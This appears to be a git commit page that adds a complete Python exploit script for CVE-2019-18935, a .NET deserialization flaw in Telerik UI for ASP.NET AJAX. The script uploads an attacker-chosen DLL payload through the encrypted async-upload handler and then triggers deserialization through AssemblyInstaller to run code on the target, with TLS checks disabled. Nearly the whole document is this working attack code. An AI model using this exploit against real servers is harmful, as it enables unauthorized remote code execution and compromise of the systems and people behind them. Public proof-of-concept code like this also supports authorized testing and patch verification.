add Telerik CVE-2019-18935

2024-12-18 10:26:09 +00:00 · 2020-01-27 15:57:10 +00:00 · 2020-01-27 15:57:10 +00:00 · 44c68ca4e9
commit 44c68ca4e9
parent 323a012488
1 changed files with 140 additions and 0 deletions
--- a/CVE-2019-18935.py
+++ b/CVE-2019-18935.py
@ -0,0 +1,140 @@
+#!/usr/bin/env python3
+# origin : https://github.com/noperator/CVE-2019-18935
+# INSTALL: 
+# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
+#  python3 -m venv env
+#  source env/bin/activate
+#  pip3 install -r requirements.txt
+
+# Import encryption routines.
+from sys import path
+path.insert(1, 'RAU_crypto')
+from RAU_crypto import RAUCipher
+
+from argparse import ArgumentParser
+from json import dumps, loads
+from os.path import basename, splitext
+from pprint import pprint
+from requests import post
+from requests.packages.urllib3 import disable_warnings
+from sys import stderr
+from time import time
+from urllib3.exceptions import InsecureRequestWarning
+
+disable_warnings(category=InsecureRequestWarning)
+
+def send_request(files):
+    headers = {
+        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
+        'Connection': 'close',
+        'Accept-Language': 'en-US,en;q=0.5',
+        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
+        'Upgrade-Insecure-Requests': '1'
+    }
+    response = post(url, files=files, verify=False, headers=headers)
+    try:
+        result = loads(response.text)
+        result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
+        pprint(result)
+    except:
+        print(response.text)
+
+def build_raupostdata(object, type):
+    return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
+
+def upload():
+
+    # Build rauPostData.
+    object = {
+        'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
+        'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
+        'MaxFileSize': 0,
+        'TimeToLive': {  # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
+            'Ticks': 1440000000000,
+            'Days': 0,
+            'Hours': 40,
+            'Minutes': 0,
+            'Seconds': 0,
+            'Milliseconds': 0,
+            'TotalDays': 1.6666666666666666,
+            'TotalHours': 40,
+            'TotalMinutes': 2400,
+            'TotalSeconds': 144000,
+            'TotalMilliseconds': 144000000
+        },
+        'UseApplicationPoolImpersonation': False
+    }
+    type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
+    raupostdata = build_raupostdata(object, type)
+    
+    with open(filename_local, 'rb') as f:
+        payload = f.read()
+    
+    metadata = {
+        'TotalChunks': 1,
+        'ChunkIndex': 0,
+        'TotalFileSize': 1,
+        'UploadID': filename_remote  # Determines remote filename on disk.
+    }
+    
+    # Build multipart form data.
+    files = {
+        'rauPostData': (None, raupostdata),
+        'file': (filename_remote, payload, 'application/octet-stream'),
+        'fileName': (None, filename_remote),
+        'contentType': (None, 'application/octet-stream'),
+        'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
+        'metadata': (None, dumps(metadata))
+    }
+    
+    # Send request.
+    print('[*] Local payload name: ', filename_local, file=stderr)
+    print('[*] Destination folder: ', temp_target_folder, file=stderr)
+    print('[*] Remote payload name:', filename_remote, file=stderr)
+    print(file=stderr)
+    send_request(files)
+
+def deserialize():
+
+    # Build rauPostData.
+    object = {
+        'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
+    }
+    type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
+    raupostdata = build_raupostdata(object, type)
+    
+    # Build multipart form data.
+    files = {
+        'rauPostData': (None, raupostdata),  # Only need this now.
+        '': ''  # One extra input is required for the page to process the request.
+    }
+    
+    # Send request.
+    print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
+    start = time()
+    send_request(files)
+    end = time()
+    print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
+
+if __name__ == '__main__':
+    parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
+    parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
+    parser.add_argument('-v', dest='ui_version', required=True, help='software version')
+    parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
+    parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
+    parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
+    parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
+    args = parser.parse_args()
+
+    temp_target_folder = args.folder.replace('/', '\\')
+    ui_version = args.ui_version
+    net_version = args.net_version
+    filename_local = args.payload
+    filename_remote = str(time()) + splitext(basename(filename_local))[1]
+    url = args.url
+
+    upload()
+
+    if not args.test_upload:
+        deserialize()
+